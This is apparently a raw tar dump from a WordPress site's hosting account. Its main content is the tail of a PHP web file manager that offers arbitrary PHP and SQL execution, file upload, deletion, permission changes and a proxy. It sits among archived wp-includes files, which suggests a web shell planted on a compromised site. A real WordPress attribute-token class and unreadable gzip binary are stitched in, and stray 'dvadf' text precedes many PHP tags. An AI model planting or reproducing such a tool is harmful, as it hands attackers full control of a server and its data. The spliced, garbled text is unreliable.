				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>class-wp-html-attribute-token.php.tar000064400000011000151440300030013632 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
class-wp-html-text-replacement.php.php.tar.gz000064400000001226151440300030015210 0ustar00��UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�index.php.php.tar.gz000064400000062251151440300030010352 0ustar00��i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
